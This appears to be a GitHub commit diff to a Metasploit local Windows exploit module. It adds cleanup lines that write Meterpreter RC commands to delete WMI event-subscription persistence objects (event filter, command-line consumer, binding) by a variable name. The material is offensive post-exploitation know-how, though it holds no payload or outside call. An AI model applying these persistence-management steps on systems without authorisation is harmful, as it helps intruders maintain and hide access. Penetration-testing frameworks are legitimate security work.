File tree Expand file tree Collapse file tree 1 file changed +3
-0
lines changed
modules/exploits/windows/local Expand file tree Collapse file tree 1 file changed +3
-0
lines changed Original file line number Diff line number Diff line change @@ -217,6 +217,9 @@ def cleanup
217
217
clean_up_rc << "execute -H -f wmic -a \" /NAMESPACE:\\ \" \\ \\ \\ \\ root\\ \\ subscription\\ \" PATH __EventFilter WHERE Name=\\ \" Telemetrics\\ \" DELETE\" \n "
218
218
clean_up_rc << "execute -H -f wmic -a \" /NAMESPACE:\\ \" \\ \\ \\ \\ root\\ \\ subscription\\ \" PATH CommandLineEventConsumer WHERE Name=\\ \" Telemetrics\\ \" DELETE\" \n "
219
219
clean_up_rc << "execute -H -f wmic -a \" /NAMESPACE:\\ \" \\ \\ \\ \\ root\\ \\ subscription\\ \" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\ \" Telemetrics\\ \" ' DELETE\" "
220
+ clean_up_rc << "execute -H -f wmic -a \" /NAMESPACE:\\ \" \\ \\ \\ \\ root\\ \\ subscription\\ \" PATH __EventFilter WHERE Name=\\ \" #{ name_class } \\ \" DELETE\" \n "
221
+ clean_up_rc << "execute -H -f wmic -a \" /NAMESPACE:\\ \" \\ \\ \\ \\ root\\ \\ subscription\\ \" PATH CommandLineEventConsumer WHERE Name=\\ \" #{ name_class } \\ \" DELETE\" \n "
222
+ clean_up_rc << "execute -H -f wmic -a \" /NAMESPACE:\\ \" \\ \\ \\ \\ root\\ \\ subscription\\ \" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\ \" #{ name_class } \\ \" ' DELETE\" "
220
223
file_local_write ( clean_rc , clean_up_rc )
221
224
print_status ( "Clean up Meterpreter RC file: #{ clean_rc } " )
222
225
else
You can’t perform that action at this time.
0 commit comments